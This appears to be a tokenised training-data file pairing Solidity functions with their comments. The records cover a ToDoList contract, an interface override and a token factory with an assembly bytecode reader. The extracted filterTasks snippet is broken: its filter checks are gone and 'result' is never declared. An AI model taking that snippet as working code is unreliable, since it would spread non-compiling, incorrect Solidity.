-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "./AdminRole.sol"; /** * @title A simple ToDo List * @author pash7ka */ contract ToDoList is Context, AdminRole { event TaskCreated(uint256 id, string title, uint64 deadline, address assigned); event TaskArchived(uint256 id); event TaskDeleted(uint256 id); struct Task { string title; string description; uint64 deadline; address assigned; bool done; bool archive; } Task[] public tasks; /** * @notice Create task * @param _title Title of the task. Title can not be empty. * @param _description Detailed description of the task. * @param _deadline Unix timestamp of the task deadline. Zero means no deadline. * @param _assigned Address of the person assigned to the task */ function createTask(string calldata _title, string calldata _description, uint64 _deadline, address _assigned) onlyAdmin external returns(uint256) { require(bytes(_title).length > 0, "ToDoList: Title can not be empty"); tasks.push(Task({ title: _title, description: _description, deadline: _deadline, assigned: _assigned, done: false, archive: false })); uint256 taskId = tasks.length-1; emit TaskCreated(taskId, _title, _deadline, _assigned); return taskId; } /** * @notice Mark task as archived * @param taskId Idof the task */ function archiveTask(uint256 taskId) onlyAdmin external { tasks[taskId].archive = true; emit TaskArchived(taskId); } /** * @notice Delete task * @param taskId Idof the task */ function deleteTask(uint256 taskId) onlyAdmin external { delete tasks[taskId]; //This makes all fields of the struct empty emit TaskDeleted(taskId); } /** * @notice Returns array of ids of all not-deleted tasks */ function listAllTasks() view public returns(uint256[] memory) { return filterTasks(true, true, address(0)); } /** * @notice Returns array of ids of all pending tasks for an address * @param assigned Address to filter tasks */ function listPendingTasks(address assigned) view public returns(uint256[] memory) { return filterTasks(false, false, assigned); } /** * @notice Filters tasks list * @param includeArchive Include archive tasks * @param includeDone Include done tasks * @param assigned If not zero, only include tasks assigned to this address */ function filterTasks(bool includeArchive, bool includeDone, address assigned) view internal returns(uint256[] memory){ uint256[] memory taskIds = new uint256[](tasks.length); uint256 count = 0; for(uint256 i=0; i < tasks.length; i++){ Task storage t = tasks[i]; if(bytes(t.title).length == 0) continue; //Deleted task if(!includeArchive && t.archive) continue; //Archive task if(!includeDone && t.done) continue; //Done task if(assigned != address(0) && assigned != t.assigned) continue; //Assigned to another address //Add task to result taskIds[count] = i; count++; } //Copy array to an array with correct length uint256[] memory result = new uint256[](count); for(uint256 i=0; i< count; i++){ result[i] = taskIds[i]; } return result; } }
* @notice Filters tasks list @param includeArchive Include archive tasks @param includeDone Include done tasks @param assigned If not zero, only include tasks assigned to this address/Add task to result
function filterTasks(bool includeArchive, bool includeDone, address assigned) view internal returns(uint256[] memory){ uint256[] memory taskIds = new uint256[](tasks.length); uint256 count = 0; for(uint256 i=0; i < tasks.length; i++){ Task storage t = tasks[i]; taskIds[count] = i; count++; } for(uint256 i=0; i< count; i++){ result[i] = taskIds[i]; } return result; }
12,828,541
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 14475, 4592, 666, 632, 891, 2341, 7465, 12672, 5052, 4592, 632, 891, 2341, 7387, 12672, 2731, 4592, 632, 891, 6958, 971, 486, 3634, 16, 1338, 2341, 4592, 6958, 358, 333, 1758, 19, 986, 1562, 358, 563, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 1034, 6685, 12, 6430, 2341, 7465, 16, 1426, 2341, 7387, 16, 1758, 6958, 13, 1476, 2713, 1135, 12, 11890, 5034, 8526, 3778, 15329, 203, 202, 202, 11890, 5034, 8526, 3778, 1562, 2673, 273, 394, 2254, 5034, 8526, 12, 9416, 18, 2469, 1769, 203, 202, 202, 11890, 5034, 1056, 273, 374, 31, 203, 202, 202, 1884, 12, 11890, 5034, 277, 33, 20, 31, 277, 411, 4592, 18, 2469, 31, 277, 27245, 95, 203, 1082, 202, 2174, 2502, 268, 273, 4592, 63, 77, 15533, 203, 1082, 202, 4146, 2673, 63, 1883, 65, 273, 277, 31, 203, 1082, 202, 1883, 9904, 31, 203, 202, 202, 97, 203, 202, 202, 1884, 12, 11890, 5034, 277, 33, 20, 31, 277, 32, 1056, 31, 277, 27245, 95, 203, 1082, 202, 2088, 63, 77, 65, 273, 1562, 2673, 63, 77, 15533, 203, 202, 202, 97, 203, 202, 202, 2463, 563, 31, 203, 202, 97, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x103E9df0BF772478b0031F57C424CD856B34EDa9/sources/demo2.sol
* @dev See {IERC165-supportsInterface}./
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, AccessControlEnumerable, aNFT, aNFTEnumerable) returns (bool) { return super.supportsInterface(interfaceId); }
14,157,509
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 2164, 288, 45, 654, 39, 28275, 17, 28064, 1358, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6146, 1358, 12, 3890, 24, 1560, 548, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 5024, 203, 3639, 3849, 12, 45, 654, 39, 28275, 16, 24349, 3572, 25121, 16, 279, 50, 4464, 16, 279, 50, 4464, 3572, 25121, 13, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 327, 2240, 18, 28064, 1358, 12, 5831, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.2; import "HumanStandardToken.sol"; contract HumanStandardTokenFactory { mapping(address => address[]) public created; mapping(address => bool) public isHumanToken; //verify without having to do a bytecode check. bytes public humanStandardByteCode; function HumanStandardTokenFactory() { //upon creation of the factory, deploy a HumanStandardToken (parameters are meaningless) and store the bytecode provably. address verifiedToken = createHumanStandardToken(10000, "Verify Token", 3, "VTX"); humanStandardByteCode = codeAt(verifiedToken); } //verifies if a contract that has been deployed is a Human Standard Token. //NOTE: This is a very expensive function, and should only be used in an eth_call. ~800k gas function verifyHumanStandardToken(address _tokenContract) returns (bool) { bytes memory fetchedTokenByteCode = codeAt(_tokenContract); if (fetchedTokenByteCode.length != humanStandardByteCode.length) { return false; //clear mismatch } //starting iterating through it if lengths match for (uint i = 0; i < fetchedTokenByteCode.length; i ++) { if (fetchedTokenByteCode[i] != humanStandardByteCode[i]) { return false; } } return true; } //for now, keeping this internal. Ideally there should also be a live version of this that any contract can use, lib-style. //retrieves the bytecode at a specific address. function codeAt(address _addr) internal returns (bytes o_code) { assembly { // retrieve the size of the code, this needs assembly let size := extcodesize(_addr) // allocate output byte array - this could also be done without assembly // by using o_code = new bytes(size) o_code := mload(0x40) // new "memory end" including padding mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // store length in memory mstore(o_code, size) // actually retrieve the code, this needs assembly extcodecopy(_addr, add(o_code, 0x20), 0, size) } } function createHumanStandardToken(uint256 _initialAmount, string _name, uint8 _decimals, string _symbol) returns (address) { HumanStandardToken newToken = (new HumanStandardToken(_initialAmount, _name, _decimals, _symbol)); created[msg.sender].push(address(newToken)); isHumanToken[address(newToken)] = true; newToken.transfer(msg.sender, _initialAmount); //the factory will own the created tokens. You must transfer them. return address(newToken); } }
for now, keeping this internal. Ideally there should also be a live version of this that any contract can use, lib-style.retrieves the bytecode at a specific address. retrieve the size of the code, this needs assembly allocate output byte array - this could also be done without assembly by using o_code = new bytes(size) new "memory end" including padding store length in memory actually retrieve the code, this needs assembly
function codeAt(address _addr) internal returns (bytes o_code) { assembly { let size := extcodesize(_addr) o_code := mload(0x40) mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(o_code, size) extcodecopy(_addr, add(o_code, 0x20), 0, size) } }
1,003,711
[ 1, 4625, 348, 7953, 560, 30, 364, 2037, 16, 19966, 333, 2713, 18, 23062, 1230, 1915, 1410, 2546, 506, 279, 8429, 1177, 434, 333, 716, 1281, 6835, 848, 999, 16, 2561, 17, 4060, 18, 14580, 3324, 326, 22801, 622, 279, 2923, 1758, 18, 4614, 326, 963, 434, 326, 981, 16, 333, 4260, 19931, 10101, 876, 1160, 526, 300, 333, 3377, 2546, 506, 2731, 2887, 19931, 635, 1450, 320, 67, 710, 273, 394, 1731, 12, 1467, 13, 394, 315, 7858, 679, 6, 6508, 4992, 1707, 769, 316, 3778, 6013, 4614, 326, 981, 16, 333, 4260, 19931, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 981, 861, 12, 2867, 389, 4793, 13, 2713, 1135, 261, 3890, 320, 67, 710, 13, 288, 203, 1377, 19931, 288, 203, 1850, 2231, 963, 519, 1110, 7000, 554, 24899, 4793, 13, 203, 1850, 320, 67, 710, 519, 312, 945, 12, 20, 92, 7132, 13, 203, 1850, 312, 2233, 12, 20, 92, 7132, 16, 527, 12, 83, 67, 710, 16, 471, 12, 1289, 12, 1289, 12, 1467, 16, 374, 92, 3462, 3631, 374, 92, 21, 74, 3631, 486, 12, 20, 92, 21, 74, 3719, 3719, 203, 1850, 312, 2233, 12, 83, 67, 710, 16, 963, 13, 203, 1850, 1110, 710, 3530, 24899, 4793, 16, 527, 12, 83, 67, 710, 16, 374, 92, 3462, 3631, 374, 16, 963, 13, 203, 1377, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 